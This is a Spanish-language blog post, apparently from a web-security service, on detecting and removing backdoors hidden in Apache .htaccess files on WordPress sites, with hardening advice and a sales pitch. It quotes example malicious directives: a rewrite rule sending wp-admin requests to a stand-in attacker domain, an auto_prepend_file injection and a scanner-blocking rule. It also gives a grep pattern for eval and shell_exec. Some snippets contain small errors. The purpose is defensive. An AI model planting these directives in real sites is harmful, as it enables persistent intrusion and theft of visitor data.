Etiqueta: .htaccess

  • Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Qué es un backdoor en .htaccess y por qué es una amenaza crítica

    En mi experiencia analizando sitios WordPress y PrestaShop comprometidos, los backdoors alojados en el archivo .htaccess son de las amenazas más insidiosas que encuentro. A diferencia de un backdoor tradicional en PHP, este tipo de malware se camufla en un archivo de configuración del servidor Apache que muchos administradores ni siquiera revisan regularmente.

    El archivo .htaccess es un fichero de control de acceso que reside en la raíz de tu sitio web. Cuando un atacante lo compromete, puede inyectar directivas que redirigen tráfico, ejecutan código malicioso de forma silenciosa, o crean puntos de entrada alternativos al panel de administración. Lo más peligroso es que no aparece en tu interfaz WordPress, pasando desapercibido durante meses.

    Cómo funciona un backdoor en .htaccess: vectores técnicos

    Redirecciones silenciosas (RewriteRule)

    El atacante utiliza módulos como mod_rewrite para interceptar peticiones HTTP específicas. Por ejemplo:

    RewriteCond %{QUERY_STRING} ^.*wp-admin.*$
    RewriteRule ^(.*)$ http://sitio-atacante.com/datos.php?param=%{HTTP_HOST} [R,L]

    Esto captura intentos de acceso a wp-admin y los redirige a un servidor controlado por el atacante, robando cookies de sesión o datos de login.

    Inyección de código PHP oculto

    Algunos backdoors en .htaccess usan la directiva php_value (si está habilitada en el servidor) para ejecutar código PHP sin necesidad de archivos .php visibles:

    php_value auto_prepend_file /ruta/archivo-oculto.txt

    Aquí, un archivo de texto con código PHP se carga automáticamente en cada página, creando un acceso persistente sin dejar rastro obvio.

    Bloqueo de herramientas de seguridad

    Muchos backdoors en .htaccess bloquean el acceso a herramientas de análisis de seguridad. Cuando lo analizo con Wordfence CLI o Sucuri, me encuentro con:

    RewriteCond %{USER_AGENT} ^.*(bot|crawler|scanner).*$ [NC]
    RewriteRule ^.*$ - [F,L]

    Esto rechaza conexiones de scanners de seguridad, ocultando la infección.

    Síntomas de que tu sitio tiene un backdoor en .htaccess

    Señales en Google Search Console

    Lo primero que hago es revisar Google Search Console. Si ves:

    • Advertencias de malware o «Sitio aparentemente pirateado»
    • Tráfico referente sospechoso desde dominios desconocidos
    • URLs indexadas que tú no creaste (típicamente /admin-login, /wp-json-custom)

    Estos son indicadores fuertes de un backdoor activo.

    Redirecciones aleatorias a usuarios

    Si tus visitantes reportan redirecciones a casinos, farmacias o sitios de crypto sin motivo, es probable que el .htaccess esté modificado. Esto afecta gravemente al SEO y la confianza de usuarios.

    Consumo anómalo de recursos

    Un backdoor ejecutando código o enviando datos constantemente genera picos de CPU y tráfico de salida. Revisa los logs de tu hosting con top o htop en terminal.

    Búsqueda del backdoor: metodología paso a paso

    Paso 1: Acceso a los archivos raíz vía SFTP/SSH

    No uses el administrador de archivos de cPanel para esto; es demasiado lento. Conecta por SSH o SFTP (FileZilla, WinSCP) directamente a tu servidor. Navega a la raíz del dominio (habitualmente /public_html/ o /home/usuario/public_html/).

    Listar archivos ocultos con el comando:

    ls -la

    Esto mostrará todos los archivos, incluidos los que comienzan con punto (.) como .htaccess.

    Paso 2: Extrae y analiza el contenido del .htaccess

    Descarga el archivo .htaccess a tu máquina local. Abrelo con un editor de texto plano (Notepad++, VS Code, Sublime Text). No uses Word, corromperá el formato.

    Busca líneas sospechosas:

    • Dominio externa (example.com pero que no reconoces como propia)
    • Rutas a archivos .txt, .tmp o similares
    • Directivas php_value con rutas anómalas
    • RewriteCond o RewriteRule que redirigen a dominios desconocidos
    • Base64 o caracteres codificados (ofuscación)

    Un .htaccess legítimo suele tener 10-30 líneas simples. Uno con backdoor puede tener 100+ líneas con lógica compleja.

    Paso 3: Verifica modificaciones recientes

    En SSH, usa:

    stat .htaccess

    Esto muestra cuándo se modificó por última vez. Si la fecha es anterior a cuando sabes que fue pirateado, confirma la infección.

    También revisa los permisos:

    ls -l .htaccess

    Debería mostrar algo como -rw-r--r--. Si ves -rw-rw-rw- (permisos 666), significa que cualquier proceso puede escribirlo.

    Paso 4: Búsqueda con grep (terminal)

    Si tienes acceso SSH, usa grep para detectar patrones maliciosos:

    grep -E "RewriteCond|RewriteRule|php_value|auto_prepend" .htaccess

    Examina cada coincidencia. Las redirecciones legítimas apuntan a tu propio sitio; las maliciosas, a dominios externos.

    Eliminación segura del backdoor

    Opción 1: Restaurar desde backup limpio

    Si tienes un backup de .htaccess anterior a la infección, restauralo. Muchos hostings guardan backups automáticos. Contacta con tu proveedor.

    Opción 2: Reconstruir .htaccess desde cero

    La opción más segura es eliminar el archivo completo y reconstruirlo según tus necesidades reales.

    Haz una copia de seguridad del actual (renómbralo a .htaccess.backup.txt).

    Luego, crea un .htaccess limpio básico para WordPress:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.html$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    Este es el contenido estándar que WordPress genera automáticamente. Si necesitas reglas personalizadas (SSL, caché, seguridad), añádelas línea a línea y prueba después de cada cambio.

    Paso 3: Verifica la limpieza en navegador

    Accede a tu sitio desde múltiples navegadores. Si aparecen redirecciones, el backdoor sigue activo o hay código malicioso en otros archivos.

    Búsqueda de backdoors en archivos relacionados

    El .htaccess es solo la puerta; el atacante probablemente dejó otras pistas.

    Analiza wp-config.php

    Busca líneas sospechosas al final del archivo:

    grep -n "eval|base64_decode|system|exec|shell_exec" wp-config.php

    Cualquier coincidencia indica inyección de código.

    Revisa la carpeta /wp-content/uploads/

    Los atacantes suben webshells aquí. Ordena por fecha de modificación:

    find wp-content/uploads/ -type f -mtime -30

    Esto lista archivos modificados en los últimos 30 días. Los .php, .phtml o .phar aquí son sospechosos.

    Inspecciona plugins y temas activos

    Un plugin nulled o desactualizado es el vector número uno en WordPress. Usa WP-CLI:

    wp plugin list --status=active

    Verifica cada uno en plugins.wordpress.org. Si una versión no coincide o el plugin no existe, es malware.

    Protección post-limpieza: hardening del .htaccess

    Protege wp-login.php y wp-admin/

    Añade estas líneas al .htaccess para limitar intentos de acceso:

    <FilesMatch "^(wp-login.php|wp-admin)>">
    <IfModule mod_ratelimit.c>
    RateLimitBytes 102400
    </IfModule>
    </FilesMatch>

    Esto ralentiza ataques de fuerza bruta.

    Bloquea acceso a archivos sensibles

    <FilesMatch ".(wp-config|wp.db).php$">
    Order Deny,Allow
    Deny from all
    </FilesMatch>

    Deshabilita la ejecución de PHP en carpetas de upload

    <Directory "wp-content/uploads">
    <FilesMatch ".php$">
    Deny from all
    </FilesMatch>
    </Directory>

    Corrige permisos de archivos

    En SSH:

    chmod 644 .htaccess
    chmod 600 wp-config.php
    chmod 755 wp-content/uploads/

    Esto evita que procesos de terceros modifiquen estos archivos.

    Herramientas especializadas para detección avanzada

    Si la búsqueda manual no encuentra nada pero sospechas malware oculto, uso estas herramientas:

    • Wordfence Security: Escanea el sitio completo buscando backdoors, incluye verificación de integridad de archivos WordPress.
    • Sucuri SiteCheck: Análisis online rápido de malware y blacklist.
    • VirusTotal: Sube el .htaccess para escanear con 70+ antivirus simultáneamente.
    • MalCare: Plugin WordPress con detección heurística de backdoors.

    Cuándo contactar con un profesional

    Si después de estas verificaciones:

    • Encuentras código ofuscado que no comprendes
    • El sitio sigue redireccionando después de limpiar .htaccess
    • Google sigue marcando el sitio como «aparentemente pirateado»
    • Los logs muestran actividad sospechosa que no consigues bloquear

    Es momento de actuar. En ManuelFolgar.com realizamos análisis profundos de malware WordPress y PrestaShop, incluyendo búsqueda de backdoors en múltiples capas: servidor, base de datos, y código fuente. Limpiamos la infección, reforzamos la seguridad y te ayudamos a recuperar la confianza de Google.

    Contacta con nuestro equipo de seguridad web para una auditoría completa de tu sitio. Sin compromiso.

    Resumen: checklist de acción inmediata

    1. Conecta por SSH/SFTP a la raíz de tu sitio.
    2. Descarga y abre .htaccess en editor de texto.
    3. Busca dominios externos, RewriteRule sospechosos, php_value anómalos.
    4. Revisa fecha de modificación y permisos del archivo.
    5. Si encuentras malware: elimina .htaccess y reconstruye desde cero con las líneas básicas de WordPress.
    6. Analiza wp-config.php, /wp-content/uploads/ y plugins con Wordfence.
    7. Modifica permisos de archivos a 644 (.htaccess) y 600 (wp-config.php).
    8. Usa Sucuri SiteCheck o VirusTotal como verificación independiente.
    9. Si persisten síntomas, solicita ayuda profesional.

    La seguridad de tu sitio web no es negociable. Un backdoor en .htaccess puede estar robando datos de tus clientes o difundiendo malware durante meses sin que lo notes. La detección temprana y la limpieza inmediata son clave para minimizar el daño.